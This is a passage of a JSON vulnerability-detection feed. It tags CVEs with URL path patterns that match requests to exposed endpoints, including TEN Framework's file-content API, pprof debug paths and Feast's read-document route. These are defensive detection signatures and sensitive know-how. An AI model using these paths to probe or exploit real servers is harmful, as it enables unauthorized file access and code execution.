Execution","severity":"CRITICAL","actively_exploited":true,"match_field":"url_path","matched_pattern":"/api/v1/build_public_tmp/00000000-0000-0000-0000-000000000000/flow","reference_urls":[]},{"tag_id":"CVE-2026-85688","tag_type":"cve","title":"TEN Framework - Arbitrary File Read & Write","severity":"critical","actively_exploited":false,"match_field":"url_path","matched_pattern":"/api/designer/v1/file-content","reference_urls":["https://www.vulncheck.com/advisories/ten-framework-0.11.71-unauthenticated-file-read-write-via-tman-designer","https://github.com/TEN-framework/ten-framework/issues/2187","https://github.com/TEN-framework/ten-framework/blob/0.11.71/core/src/ten_manager/src/designer/file_content/mod.rs","https://nvd.nist.gov/vuln/detail/CVE-2026-85688"]},{"tag_id":"CVE-2019-11248","tag_type":"cve","title":"Debug Endpoint pprof - Exposure Detection","severity":"high","actively_exploited":false,"match_field":"url_path","matched_pattern":"/debug/pprof","reference_urls":["https://medium.com/bugbountywriteup/my-first-bug-bounty-21d3203ffdb0","http://mmcloughlin.com/posts/your-pprof-is-showing","https://github.com/kubernetes/kubernetes/issues/81023","https://groups.google.com/d/msg/kubernetes-security-announce/pKELclHIov8/BEDtRELACQAJ","https://nvd.nist.gov/vuln/detail/CVE-2019-11248"]},{"tag_id":"CVE-2026-23536","tag_type":"cve","title":"Feast Feature Server <=0.58.0 - Arbitrary File Read","severity":"high","actively_exploited":false,"match_field":"url_path","matched_pattern":"/read-document","reference_urls":["https://access.redhat.com/security/cve/CVE-2026-23536","https://bugzilla.redhat.com/show_bug.cgi?id=2429302","https://github.com/feast-dev/feast","https://nvd.nist.gov/vuln/detail/CVE-2026-23536"]}],"data_as_of":"2026-09-30T15:29:43.466797+00:00"}